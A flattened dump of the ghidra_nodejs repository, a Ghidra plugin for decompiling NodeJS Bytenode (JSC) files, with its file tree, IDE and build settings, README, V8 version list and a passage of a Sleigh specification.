├── .antProperties.xml ├── .classpath ├── .gitignore ├── .project ├── .settings ├── org.eclipse.buildship.core.prefs ├── org.eclipse.jdt.core.prefs ├── org.eclipse.jdt.ui.prefs └── org.eclipse.ltk.core.refactoring.prefs ├── Module.manifest ├── README.md ├── TODO.md ├── build.gradle ├── data ├── README.txt ├── buildLanguage.xml ├── languages │ ├── extrawide_instructions.sinc │ ├── ranges.sinc │ ├── v8.cspec │ ├── v8.ldefs │ ├── v8.pspec │ ├── v8.sla │ ├── v8.slaspec │ └── wide_instructions.sinc ├── sleighArgs.txt ├── v8_builtins.json ├── v8_funcs.json ├── v8_jsruns.json ├── v8_roots.json └── v8_versions.json ├── extension.properties ├── ghidra_scripts └── README.txt ├── lib └── README.txt ├── os ├── linux64 │ └── README.txt ├── osx64 │ └── README.txt └── win64 │ └── README.txt ├── samples ├── article_data │ ├── for_ranges │ │ ├── ranges.sinc │ │ ├── skel.slaspec │ │ ├── v8_rangeTest.js │ │ └── v8_rangeTest.jsc │ ├── languages │ │ ├── skel.cspec │ │ ├── skel.ldefs │ │ ├── skel.opinion │ │ ├── skel.pspec │ │ ├── skel.sla │ │ └── skel.slaspec │ ├── v8_test.js │ └── v8_test.jsc ├── nodejs_x64 │ ├── raw_x64.jsc │ ├── sample10_x64.jsc │ ├── sample1_x64.jsc │ ├── sample2_x64.jsc │ ├── sample3_x64.jsc │ ├── sample4_x64.jsc │ ├── sample5_x64.jsc │ ├── sample6_x64.jsc │ ├── sample7_x64.jsc │ ├── sample8_x64.jsc │ ├── sample9_x64.jsc │ └── web_keygen_x64.jsc ├── nodejs_x86 │ ├── raw_x86.jsc │ ├── sample10_x86.jsc │ ├── sample1_x86.jsc │ ├── sample2_x86.jsc │ ├── sample3_x86.jsc │ ├── sample4_x86.jsc │ ├── sample5_x86.jsc │ ├── sample6_x86.jsc │ ├── sample7_x86.jsc │ ├── sample8_x86.jsc │ ├── sample9_x86.jsc │ └── web_keygen_x86.jsc └── src │ ├── raw.js │ ├── sample1.js │ ├── sample10.js │ ├── sample2.js │ ├── sample3.js │ ├── sample4.js │ ├── sample5.js │ ├── sample6.js │ ├── sample7.js │ ├── sample8.js │ ├── sample9.js │ └── web_keygen.js └── src ├── main ├── help │ └── help │ │ ├── TOC_Source.xml │ │ ├── shared │ │ └── Frontpage.css │ │ └── topics │ │ └── v8_bytecode │ │ └── help.html ├── java │ └── v8_bytecode │ │ ├── AllocHow.java │ │ ├── AllocPoint.java │ │ ├── AllocSpace.java │ │ ├── AllocWhere.java │ │ ├── CaseState.java │ │ ├── EnumsStorage.java │ │ ├── FunctionSize.java │ │ ├── HandlerTableEntry.java │ │ ├── ReservObject.java │ │ ├── RootObject.java │ │ ├── RuntimeFuncArg.java │ │ ├── ScopeInfoFlags.java │ │ ├── V8_ConstantPool.java │ │ ├── V8_InjectCallJSRuntime.java │ │ ├── V8_InjectCallVariadic.java │ │ ├── V8_InjectConstruct.java │ │ ├── V8_InjectJSCallN.java │ │ ├── V8_InjectPayload.java │ │ ├── V8_InjectStaDataPropertyInLiteral.java │ │ ├── V8_InjectThrow.java │ │ ├── V8_PcodeInjectLibrary.java │ │ ├── V8_PcodeOpEmitter.java │ │ ├── V8_VersionDetector.java │ │ ├── V8_bytecodeAnalyzer.java │ │ ├── V8_bytecodeLoader.java │ │ ├── allocator │ │ ├── AllocationInfoLast.java │ │ ├── AllocationInfoNew.java │ │ ├── ArraysAllocator.java │ │ ├── BytecodesAllocator.java │ │ ├── ConstantPoolsAllocator.java │ │ ├── IAllocatable.java │ │ ├── IObjectAllocator.java │ │ ├── JscParser.java │ │ ├── ObjectsAllocator.java │ │ ├── ScopesInfoAllocator.java │ │ ├── SharedFunctionsAllocator.java │ │ └── TuplesAllocator.java │ │ ├── enums │ │ ├── AllocationAlignment.java │ │ ├── BuiltinsEnum.java │ │ ├── CatchPrediction.java │ │ ├── EnumDataTypes.java │ │ ├── IntrinsicsEnum.java │ │ ├── JsRuntimesEnum.java │ │ ├── RootsEnum.java │ │ ├── RuntimesEnum.java │ │ ├── ScopeInfoFlagsFuncKindEnum.java │ │ ├── ScopeInfoFlagsFuncVar.java │ │ ├── ScopeInfoFlagsLang.java │ │ ├── ScopeInfoFlagsReceiver.java │ │ ├── ScopeInfoFlagsScope.java │ │ ├── ScriptSourceEnum.java │ │ ├── ScriptTypeEnum.java │ │ ├── SourcePositionTypeEnum.java │ │ └── TypeOfEnum.java │ │ ├── storage │ │ ├── ArrayStore.java │ │ ├── ConstantPoolItemStore.java │ │ ├── ConstantPoolStore.java │ │ ├── ContextVarStore.java │ │ ├── FuncsStorage.java │ │ ├── InstructionsStorage.java │ │ ├── RootsStore.java │ │ ├── RuntimesIntrinsicsStore.java │ │ ├── RuntimesStore.java │ │ ├── ScopeInfoStore.java │ │ ├── SharedFunctionStore.java │ │ └── TupleStore.java │ │ └── structs │ │ ├── ArrayStruct.java │ │ ├── BytecodeStruct.java │ │ ├── ConstantPoolStruct.java │ │ ├── ContextVarStruct.java │ │ ├── FeedbackMetadataStruct.java │ │ ├── HandlerTableItemStruct.java │ │ ├── HandlerTableStruct.java │ │ ├── ScopeInfoReceiver.java │ │ ├── ScopeInfoStruct.java │ │ ├── SharedFunctionInfoStruct.java │ │ ├── SourcePositionItemStruct.java │ │ ├── SourcePositionsStruct.java │ │ └── TupleStruct.java └── resources │ └── images │ └── README.txt └── test └── java └── README.test.txt /.antProperties.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | /bin/ 2 | /dist/ 3 | /build/ 4 | /.gradle/ 5 | -------------------------------------------------------------------------------- /.project: -------------------------------------------------------------------------------- 1 | 2 | 3 | V8_bytecode 4 | 5 | 6 | 7 | 8 | 9 | org.eclipse.xtext.ui.shared.xtextBuilder 10 | 11 | 12 | 13 | 14 | org.eclipse.jdt.core.javabuilder 15 | 16 | 17 | 18 | 19 | 20 | org.eclipse.jdt.core.javanature 21 | org.eclipse.xtext.ui.shared.xtextNature 22 | 23 | 24 | 25 | Ghidra 26 | 2 27 | D:/ghidra_9.2.2_PUBLIC 28 | 29 | 30 | 31 | -------------------------------------------------------------------------------- /.settings/org.eclipse.buildship.core.prefs: -------------------------------------------------------------------------------- 1 | arguments= 2 | auto.sync=false 3 | build.scans.enabled=false 4 | connection.gradle.distribution=GRADLE_DISTRIBUTION(VERSION(6.3)) 5 | connection.project.dir= 6 | eclipse.preferences.version=1 7 | gradle.user.home= 8 | java.home=C\:/Program Files/Java/jdk-11.0.7 9 | jvm.arguments= 10 | offline.mode=false 11 | override.workspace.settings=true 12 | show.console.view=true 13 | show.executions.view=true 14 | -------------------------------------------------------------------------------- /.settings/org.eclipse.jdt.core.prefs: -------------------------------------------------------------------------------- 1 | eclipse.preferences.version=1 2 | org.eclipse.jdt.core.compiler.annotation.inheritNullAnnotations=disabled 3 | org.eclipse.jdt.core.compiler.annotation.missingNonNullByDefaultAnnotation=ignore 4 | org.eclipse.jdt.core.compiler.annotation.nonnull=org.eclipse.jdt.annotation.NonNull 5 | org.eclipse.jdt.core.compiler.annotation.nonnull.secondary= 6 | org.eclipse.jdt.core.compiler.annotation.nonnullbydefault=org.eclipse.jdt.annotation.NonNullByDefault 7 | org.eclipse.jdt.core.compiler.annotation.nonnullbydefault.secondary= 8 | org.eclipse.jdt.core.compiler.annotation.nullable=org.eclipse.jdt.annotation.Nullable 9 | org.eclipse.jdt.core.compiler.annotation.nullable.secondary= 10 | org.eclipse.jdt.core.compiler.annotation.nullanalysis=disabled 11 | org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled 12 | org.eclipse.jdt.core.compiler.codegen.methodParameters=do not generate 13 | org.eclipse.jdt.core.compiler.codegen.targetPlatform=11 14 | org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve 15 | org.eclipse.jdt.core.compiler.compliance=11 16 | org.eclipse.jdt.core.compiler.debug.lineNumber=generate 17 | org.eclipse.jdt.core.compiler.debug.localVariable=generate 18 | org.eclipse.jdt.core.compiler.debug.sourceFile=generate 19 | org.eclipse.jdt.core.compiler.problem.APILeak=warning 20 | org.eclipse.jdt.core.compiler.problem.annotatedTypeArgumentToUnannotated=info 21 | org.eclipse.jdt.core.compiler.problem.annotationSuperInterface=error 22 | org.eclipse.jdt.core.compiler.problem.assertIdentifier=error 23 | org.eclipse.jdt.core.compiler.problem.autoboxing=ignore 24 | org.eclipse.jdt.core.compiler.problem.comparingIdentical=warning 25 | org.eclipse.jdt.core.compiler.problem.deadCode=warning 26 | org.eclipse.jdt.core.compiler.problem.deprecation=warning 27 | org.eclipse.jdt.core.compiler.problem.deprecationInDeprecatedCode=disabled 28 | org.eclipse.jdt.core.compiler.problem.deprecationWhenOverridingDeprecatedMethod=disabled 29 | org.eclipse.jdt.core.compiler.problem.discouragedReference=warning 30 | org.eclipse.jdt.core.compiler.problem.emptyStatement=warning 31 | org.eclipse.jdt.core.compiler.problem.enablePreviewFeatures=disabled 32 | org.eclipse.jdt.core.compiler.problem.enumIdentifier=error 33 | org.eclipse.jdt.core.compiler.problem.explicitlyClosedAutoCloseable=ignore 34 | org.eclipse.jdt.core.compiler.problem.fallthroughCase=ignore 35 | org.eclipse.jdt.core.compiler.problem.fatalOptionalError=disabled 36 | org.eclipse.jdt.core.compiler.problem.fieldHiding=warning 37 | org.eclipse.jdt.core.compiler.problem.finalParameterBound=warning 38 | org.eclipse.jdt.core.compiler.problem.finallyBlockNotCompletingNormally=warning 39 | org.eclipse.jdt.core.compiler.problem.forbiddenReference=error 40 | org.eclipse.jdt.core.compiler.problem.hiddenCatchBlock=error 41 | org.eclipse.jdt.core.compiler.problem.includeNullInfoFromAsserts=disabled 42 | org.eclipse.jdt.core.compiler.problem.incompatibleNonInheritedInterfaceMethod=error 43 | org.eclipse.jdt.core.compiler.problem.incompleteEnumSwitch=warning 44 | org.eclipse.jdt.core.compiler.problem.indirectStaticAccess=warning 45 | org.eclipse.jdt.core.compiler.problem.localVariableHiding=warning 46 | org.eclipse.jdt.core.compiler.problem.methodWithConstructorName=warning 47 | org.eclipse.jdt.core.compiler.problem.missingDefaultCase=ignore 48 | org.eclipse.jdt.core.compiler.problem.missingDeprecatedAnnotation=ignore 49 | org.eclipse.jdt.core.compiler.problem.missingEnumCaseDespiteDefault=disabled 50 | org.eclipse.jdt.core.compiler.problem.missingHashCodeMethod=ignore 51 | org.eclipse.jdt.core.compiler.problem.missingOverrideAnnotation=ignore 52 | org.eclipse.jdt.core.compiler.problem.missingOverrideAnnotationForInterfaceMethodImplementation=enabled 53 | org.eclipse.jdt.core.compiler.problem.missingSerialVersion=ignore 54 | org.eclipse.jdt.core.compiler.problem.missingSynchronizedOnInheritedMethod=ignore 55 | org.eclipse.jdt.core.compiler.problem.noEffectAssignment=warning 56 | org.eclipse.jdt.core.compiler.problem.noImplicitStringConversion=warning 57 | org.eclipse.jdt.core.compiler.problem.nonExternalizedStringLiteral=ignore 58 | org.eclipse.jdt.core.compiler.problem.nonnullParameterAnnotationDropped=warning 59 | org.eclipse.jdt.core.compiler.problem.nonnullTypeVariableFromLegacyInvocation=warning 60 | org.eclipse.jdt.core.compiler.problem.nullAnnotationInferenceConflict=error 61 | org.eclipse.jdt.core.compiler.problem.nullReference=warning 62 | org.eclipse.jdt.core.compiler.problem.nullSpecViolation=error 63 | org.eclipse.jdt.core.compiler.problem.nullUncheckedConversion=warning 64 | org.eclipse.jdt.core.compiler.problem.overridingPackageDefaultMethod=warning 65 | org.eclipse.jdt.core.compiler.problem.parameterAssignment=ignore 66 | org.eclipse.jdt.core.compiler.problem.pessimisticNullAnalysisForFreeTypeVariables=warning 67 | org.eclipse.jdt.core.compiler.problem.possibleAccidentalBooleanAssignment=warning 68 | org.eclipse.jdt.core.compiler.problem.potentialNullReference=ignore 69 | org.eclipse.jdt.core.compiler.problem.potentiallyUnclosedCloseable=ignore 70 | org.eclipse.jdt.core.compiler.problem.rawTypeReference=warning 71 | org.eclipse.jdt.core.compiler.problem.redundantNullAnnotation=warning 72 | org.eclipse.jdt.core.compiler.problem.redundantNullCheck=ignore 73 | org.eclipse.jdt.core.compiler.problem.redundantSpecificationOfTypeArguments=ignore 74 | org.eclipse.jdt.core.compiler.problem.redundantSuperinterface=ignore 75 | org.eclipse.jdt.core.compiler.problem.reportMethodCanBePotentiallyStatic=ignore 76 | org.eclipse.jdt.core.compiler.problem.reportMethodCanBeStatic=ignore 77 | org.eclipse.jdt.core.compiler.problem.reportPreviewFeatures=warning 78 | org.eclipse.jdt.core.compiler.problem.specialParameterHidingField=disabled 79 | org.eclipse.jdt.core.compiler.problem.staticAccessReceiver=warning 80 | org.eclipse.jdt.core.compiler.problem.suppressOptionalErrors=disabled 81 | org.eclipse.jdt.core.compiler.problem.suppressWarnings=enabled 82 | org.eclipse.jdt.core.compiler.problem.suppressWarningsNotFullyAnalysed=info 83 | org.eclipse.jdt.core.compiler.problem.syntacticNullAnalysisForFields=disabled 84 | org.eclipse.jdt.core.compiler.problem.syntheticAccessEmulation=ignore 85 | org.eclipse.jdt.core.compiler.problem.terminalDeprecation=warning 86 | org.eclipse.jdt.core.compiler.problem.typeParameterHiding=warning 87 | org.eclipse.jdt.core.compiler.problem.unavoidableGenericTypeProblems=enabled 88 | org.eclipse.jdt.core.compiler.problem.uncheckedTypeOperation=warning 89 | org.eclipse.jdt.core.compiler.problem.unclosedCloseable=warning 90 | org.eclipse.jdt.core.compiler.problem.undocumentedEmptyBlock=ignore 91 | org.eclipse.jdt.core.compiler.problem.unhandledWarningToken=warning 92 | org.eclipse.jdt.core.compiler.problem.unlikelyCollectionMethodArgumentType=warning 93 | org.eclipse.jdt.core.compiler.problem.unlikelyCollectionMethodArgumentTypeStrict=disabled 94 | org.eclipse.jdt.core.compiler.problem.unlikelyEqualsArgumentType=info 95 | org.eclipse.jdt.core.compiler.problem.unnecessaryElse=warning 96 | org.eclipse.jdt.core.compiler.problem.unnecessaryTypeCheck=warning 97 | org.eclipse.jdt.core.compiler.problem.unqualifiedFieldAccess=ignore 98 | org.eclipse.jdt.core.compiler.problem.unstableAutoModuleName=warning 99 | org.eclipse.jdt.core.compiler.problem.unusedDeclaredThrownException=warning 100 | org.eclipse.jdt.core.compiler.problem.unusedDeclaredThrownExceptionExemptExceptionAndThrowable=enabled 101 | org.eclipse.jdt.core.compiler.problem.unusedDeclaredThrownExceptionIncludeDocCommentReference=enabled 102 | org.eclipse.jdt.core.compiler.problem.unusedDeclaredThrownExceptionWhenOverriding=disabled 103 | org.eclipse.jdt.core.compiler.problem.unusedExceptionParameter=ignore 104 | org.eclipse.jdt.core.compiler.problem.unusedImport=warning 105 | org.eclipse.jdt.core.compiler.problem.unusedLabel=warning 106 | org.eclipse.jdt.core.compiler.problem.unusedLocal=ignore 107 | org.eclipse.jdt.core.compiler.problem.unusedObjectAllocation=ignore 108 | org.eclipse.jdt.core.compiler.problem.unusedParameter=ignore 109 | org.eclipse.jdt.core.compiler.problem.unusedParameterIncludeDocCommentReference=enabled 110 | org.eclipse.jdt.core.compiler.problem.unusedParameterWhenImplementingAbstract=disabled 111 | org.eclipse.jdt.core.compiler.problem.unusedParameterWhenOverridingConcrete=disabled 112 | org.eclipse.jdt.core.compiler.problem.unusedPrivateMember=warning 113 | org.eclipse.jdt.core.compiler.problem.unusedTypeParameter=ignore 114 | org.eclipse.jdt.core.compiler.problem.unusedWarningToken=warning 115 | org.eclipse.jdt.core.compiler.problem.varargsArgumentNeedCast=warning 116 | org.eclipse.jdt.core.compiler.release=disabled 117 | org.eclipse.jdt.core.compiler.source=11 118 | -------------------------------------------------------------------------------- /.settings/org.eclipse.jdt.ui.prefs: -------------------------------------------------------------------------------- 1 | eclipse.preferences.version=1 2 | org.eclipse.jdt.ui.text.custom_code_templates= 3 | -------------------------------------------------------------------------------- /.settings/org.eclipse.ltk.core.refactoring.prefs: -------------------------------------------------------------------------------- 1 | eclipse.preferences.version=1 2 | org.eclipse.ltk.core.refactoring.enable.project.refactoring.history=false 3 | -------------------------------------------------------------------------------- /Module.manifest: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ntlyapova/ghidra_nodejs/7e2d5a9fad637f8e54809d40434879a5beb3fbba/Module.manifest -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ghidra_nodejs 2 | 3 | ## Description 4 | 5 | GHIDRA plugin to parse, disassemble and decompile NodeJS Bytenode (JSC) binaries. 6 | 7 | ## Supported NodeJS versions: 8 | - v8.16.0 (x64) (V8 version: 6.2.414.77) 9 | - v8.16.0 (x86) (V8 version: 6.2.414.77) 10 | 11 | ## Build instructions 12 | 13 | 1. Clone the repo 14 | 2. Import the repo into Eclipse with GhidraDev plugin installed 15 | 3. Link Ghidra to your Ghidra's installation (option in the project's context menu) 16 | 4. Export & build plugin using the project's context menu. Eclipse will generate a resulting .zip archive with the plugin. 17 | 5. In Ghidra: File->Install Extensions...->Press green (Plus/+) button, then select previously generated .zip archive to install it. Press OK, then Restart Ghidra. 18 | 6. Drag-n-drop jsc files. 19 | -------------------------------------------------------------------------------- /TODO.md: -------------------------------------------------------------------------------- 1 | #TODO: 2 | 3 | 1) function arguments order 4 | 2) types 5 | 3) imports 6 | 4) semantics for pcodeop stub instructions -------------------------------------------------------------------------------- /build.gradle: -------------------------------------------------------------------------------- 1 | // Builds a Ghidra Extension for a given Ghidra installation. 2 | // 3 | // An absolute path to the Ghidra installation directory must be supplied either by setting the 4 | // GHIDRA_INSTALL_DIR environment variable or Gradle project property: 5 | // 6 | // > export GHIDRA_INSTALL_DIR= 7 | // > gradle 8 | // 9 | // or 10 | // 11 | // > gradle -PGHIDRA_INSTALL_DIR= 12 | // 13 | // Gradle should be invoked from the directory of the project to build. Please see the 14 | // application.gradle.version property in /Ghidra/application.properties 15 | // for the correction version of Gradle to use for the Ghidra installation you specify. 16 | 17 | //----------------------START "DO NOT MODIFY" SECTION------------------------------ 18 | def ghidraInstallDir 19 | 20 | if (System.env.GHIDRA_INSTALL_DIR) { 21 | ghidraInstallDir = System.env.GHIDRA_INSTALL_DIR 22 | } 23 | else if (project.hasProperty("GHIDRA_INSTALL_DIR")) { 24 | ghidraInstallDir = project.getProperty("GHIDRA_INSTALL_DIR") 25 | } 26 | 27 | if (ghidraInstallDir) { 28 | apply from: new File(ghidraInstallDir).getCanonicalPath() + "/support/buildExtension.gradle" 29 | } 30 | else { 31 | throw new GradleException("GHIDRA_INSTALL_DIR is not defined!") 32 | } 33 | //----------------------END "DO NOT MODIFY" SECTION------------------------------- 34 | -------------------------------------------------------------------------------- /data/README.txt: -------------------------------------------------------------------------------- 1 | The "data" directory is intended to hold data files that will be used by this module and will 2 | not end up in the .jar file, but will be present in the zip or tar file. Typically, data 3 | files are placed here rather than in the resources directory if the user may need to edit them. 4 | 5 | An optional data/languages directory can exist for the purpose of containing various Sleigh language 6 | specification files and importer opinion files. 7 | 8 | The data/buildLanguage.xml is used for building the contents of the data/languages directory. 9 | 10 | The skel language definition has been commented-out within the skel.ldefs file so that the 11 | skeleton language does not show-up within Ghidra. 12 | 13 | See the Sleigh language documentation (docs/languages/index.html) for details Sleigh language 14 | specification syntax. 15 | -------------------------------------------------------------------------------- /data/buildLanguage.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | -------------------------------------------------------------------------------- /data/languages/v8.cspec: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | -------------------------------------------------------------------------------- /data/languages/v8.ldefs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 12 | V8 13 | 14 | 15 | 23 | V8 24 | 25 | 26 | 27 | -------------------------------------------------------------------------------- /data/languages/v8.pspec: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /data/sleighArgs.txt: -------------------------------------------------------------------------------- 1 | # Add sleigh compiler options to this file (one per line) which will 2 | # be used when compiling each language within this module. 3 | # All options should start with a '-' character. 4 | # 5 | # IMPORTANT: The -a option should NOT be specified 6 | # -------------------------------------------------------------------------------- /data/v8_versions.json: -------------------------------------------------------------------------------- 1 | [ 2 | "8.6.395.17", 3 | "8.6.395.16", 4 | "8.4.371.19", 5 | "8.3.110.9", 6 | "8.1.307.31", 7 | "8.1.307.30", 8 | "7.9.317.25", 9 | "7.9.317.23", 10 | "7.8.279.17", 11 | "7.8.279.23", 12 | "7.7.299.13", 13 | "7.7.299.11", 14 | "7.6.303.29", 15 | "7.5.288.22", 16 | "7.4.288.27", 17 | "7.4.288.21", 18 | "7.0.276.38", 19 | "7.0.276.32", 20 | "7.0.276.28", 21 | "6.8.275.32", 22 | "6.8.275.30", 23 | "6.8.275.24", 24 | "6.7.288.49", 25 | "6.7.288.46", 26 | "6.7.288.45", 27 | "6.7.288.43", 28 | "6.6.346.32", 29 | "6.6.346.27", 30 | "6.6.346.24", 31 | "6.2.414.46", 32 | "6.2.414.44", 33 | "6.2.414.32", 34 | "6.2.414.78", 35 | "6.2.414.77", 36 | "6.2.414.75", 37 | "6.2.414.72", 38 | "6.2.414.66", 39 | "6.2.414.54", 40 | "6.2.414.50", 41 | "6.1.534.50", 42 | "6.1.534.48", 43 | "6.1.534.47", 44 | "6.1.534.46", 45 | "6.1.534.42", 46 | "6.0.287.53", 47 | "6.0.286.52", 48 | "5.8.283.41", 49 | "5.5.372.43", 50 | "5.5.372.42", 51 | "5.5.372.41", 52 | "5.5.372.40", 53 | "5.4.500.48", 54 | "5.4.500.45", 55 | "5.4.500.44", 56 | "5.4.500.43", 57 | "5.4.500.36", 58 | "5.1.281.111", 59 | "5.1.281.109", 60 | "5.1.281.108", 61 | "5.1.281.107", 62 | "5.1.281.103", 63 | "5.1.281.102", 64 | "5.1.281.101", 65 | "5.1.281.98", 66 | "5.1.281.95", 67 | "5.1.281.93", 68 | "5.1.281.89", 69 | "5.1.281.88", 70 | "5.1.281.84", 71 | "5.1.281.83", 72 | "5.1.281.81", 73 | "5.0.71.60", 74 | "5.0.71.57", 75 | "5.0.71.52", 76 | "5.0.71.47", 77 | "5.0.71.35", 78 | "4.6.85.32", 79 | "4.6.85.31", 80 | "4.6.85.28", 81 | "4.5.103.53", 82 | "4.5.103.47", 83 | "4.5.103.46", 84 | "4.5.103.45", 85 | "4.5.103.43", 86 | "4.5.103.42", 87 | "4.5.103.37", 88 | "4.5.103.36", 89 | "4.5.103.35", 90 | "4.5.103.33", 91 | "4.5.103.30", 92 | "4.4.63.30", 93 | "4.4.63.26", 94 | "4.2.77.21", 95 | "4.2.77.20", 96 | "4.2.77.18", 97 | "4.1.0.27", 98 | "4.1.0.25", 99 | "4.1.0.21", 100 | "4.1.0.14", 101 | "4.1.0.12", 102 | "4.1.0.7", 103 | "3.31.74.1", 104 | "3.28.71.20", 105 | "3.28.71.19", 106 | "3.28.73.0", 107 | "3.26.33.0", 108 | "3.25.30.0", 109 | "3.22.24.19", 110 | "3.22.24.10", 111 | "3.22.24.5", 112 | "3.21.18.3", 113 | "3.20.17.0", 114 | "3.20.14.1", 115 | "3.20.11.0", 116 | "3.20.2.0", 117 | "3.19.13.0", 118 | "3.19.0.0", 119 | "3.18.0.0", 120 | "3.17.13.0", 121 | "3.14.5.11", 122 | "3.14.5.9", 123 | "3.14.5.8", 124 | "3.14.5.0", 125 | "3.15.11.15", 126 | "3.15.11.10", 127 | "3.15.11.7", 128 | "3.15.11.5", 129 | "3.13.7.4", 130 | "3.11.10.22", 131 | "3.11.10.19", 132 | "3.11.10.15", 133 | "3.11.10.26", 134 | "3.11.10.25", 135 | "3.11.10.17", 136 | "3.11.10.14", 137 | "3.11.10.12", 138 | "3.11.10.10", 139 | "3.11.10.0", 140 | "3.9.24.31", 141 | "3.11.1.0", 142 | "3.9.24.9", 143 | "3.9.24.7", 144 | "3.9.17.0", 145 | "3.9.5.0", 146 | "3.9.2.0", 147 | "3.8.9.0", 148 | "3.8.8.0", 149 | "3.8.6.0", 150 | "3.6.6.25", 151 | "3.6.6.24", 152 | "3.6.6.20", 153 | "3.6.6.19", 154 | "3.6.6.15", 155 | "3.6.6.14", 156 | "3.6.6.11", 157 | "3.6.6.8", 158 | "3.6.6.7", 159 | "3.6.6.6", 160 | "3.7.0.0", 161 | "3.6.4.0", 162 | "3.6.2.0", 163 | "3.5.8.0", 164 | "3.5.4.3", 165 | "3.4.14.0", 166 | "3.4.10.0", 167 | "3.1.8.25", 168 | "3.1.8.26", 169 | "3.1.8.16", 170 | "3.1.8.10", 171 | "3.1.8.8", 172 | "3.1.8.5", 173 | "3.1.8.3", 174 | "3.1.8.0", 175 | "3.1.5.0", 176 | "3.1.2.0", 177 | "3.1.1.0", 178 | "3.0.10.0", 179 | "3.0.9.0", 180 | "3.0.4.1", 181 | "3.0.3.0", 182 | "2.5.3.0", 183 | "2.5.1.0", 184 | "2.3.8.0", 185 | "2.3.6.1", 186 | "2.3.5.0", 187 | "2.3.2.0", 188 | "2.3.0.0", 189 | "2.2.21.0", 190 | "2.2.18.0", 191 | "2.2.16.0", 192 | "2.2.12.0", 193 | "2.2.0.0", 194 | "2.2.8.0", 195 | "2.2.6.0", 196 | "2.2.4.2", 197 | "2.2.3.1", 198 | "2.2.0.3", 199 | "2.1.6.0", 200 | "2.1.3.0", 201 | "2.1.2.0", 202 | "2.1.1.1", 203 | "2.1.0.0", 204 | "2.0.6.1", 205 | "2.0.5.4", 206 | "2.0.0.0", 207 | "2.0.2.0", 208 | "1.3.18.0", 209 | "1.3.16.0", 210 | "1.3.15.0" 211 | ] 212 | -------------------------------------------------------------------------------- /extension.properties: -------------------------------------------------------------------------------- 1 | name=@extname@ 2 | description=The extension description can be customized by editing the extension.properties file. 3 | author= 4 | createdOn= 5 | version=@extversion@ 6 | -------------------------------------------------------------------------------- /ghidra_scripts/README.txt: -------------------------------------------------------------------------------- 1 | Java source directory to hold module-specific Ghidra scripts. 2 | -------------------------------------------------------------------------------- /lib/README.txt: -------------------------------------------------------------------------------- 1 | The "lib" directory is intended to hold Jar files which this module 2 | is dependent upon. This directory may be eliminated from a specific 3 | module if no other Jar files are needed. 4 | -------------------------------------------------------------------------------- /os/linux64/README.txt: -------------------------------------------------------------------------------- 1 | The "os/linux64" directory is intended to hold Linux native binaries 2 | which this module is dependent upon. This directory may be eliminated for a specific 3 | module if native binaries are not provided for the corresponding platform. 4 | -------------------------------------------------------------------------------- /os/osx64/README.txt: -------------------------------------------------------------------------------- 1 | The "os/osx64" directory is intended to hold macOS (OS X) native binaries 2 | which this module is dependent upon. This directory may be eliminated for a specific 3 | module if native binaries are not provided for the corresponding platform. 4 | -------------------------------------------------------------------------------- /os/win64/README.txt: -------------------------------------------------------------------------------- 1 | The "os/win64" directory is intended to hold MS Windows native binaries (.exe) 2 | which this module is dependent upon. This directory may be eliminated for a specific 3 | module if native binaries are not provided for the corresponding platform. 4 | -------------------------------------------------------------------------------- /samples/article_data/for_ranges/ranges.sinc: -------------------------------------------------------------------------------- 1 | 2 | rangeDst8: } is epsilon {} 3 | 4 | rangeDst7: ^ r7 rangeDst8 is r7; rangeDst8; offStart = 0xf4 [counter = counter -1; offStart = offStart -1;] {} 5 | rangeDst7: ^ a7 rangeDst8 is a7; rangeDst8; offStart = 0x09 [counter = counter -1; offStart = offStart +1;] {} 6 | rangeDst7: } is epsilon; counter = 0; (offStart = 0xf4 | offStart = 0x09 ) {} 7 | rangeDst7: rangeDst8 is rangeDst8 {} 8 | rangeDst6: ^ r6 rangeDst7 is r6; rangeDst7; offStart = 0xf5 [counter = counter -1; offStart = offStart -1;] {} 9 | rangeDst6: ^ a6 rangeDst7 is a6; rangeDst7; offStart = 0x08 [counter = counter -1; offStart = offStart +1;] {} 10 | rangeDst6: } is epsilon; counter = 0; (offStart = 0xf5 | offStart = 0x08 ) {} 11 | rangeDst6: rangeDst7 is rangeDst7 {} 12 | rangeDst5: ^ r5 rangeDst6 is r5; rangeDst6; offStart = 0xf6 [counter = counter -1; offStart = offStart -1;] {} 13 | rangeDst5: ^ a5 rangeDst6 is a5; rangeDst6; offStart = 0x07 [counter = counter -1; offStart = offStart +1;] {} 14 | rangeDst5: } is epsilon; counter = 0; (offStart = 0xf6 | offStart = 0x07 ) {} 15 | rangeDst5: rangeDst6 is rangeDst6 {} 16 | rangeDst4: ^ r4 rangeDst5 is r4; rangeDst5; offStart = 0xf7 [counter = counter -1; offStart = offStart -1;] {} 17 | rangeDst4: ^ a4 rangeDst5 is a4; rangeDst5; offStart = 0x06 [counter = counter -1; offStart = offStart +1;] {} 18 | rangeDst4: } is epsilon; counter = 0; (offStart = 0xf7 | offStart = 0x06 ) {} 19 | rangeDst4: rangeDst5 is rangeDst5 {} 20 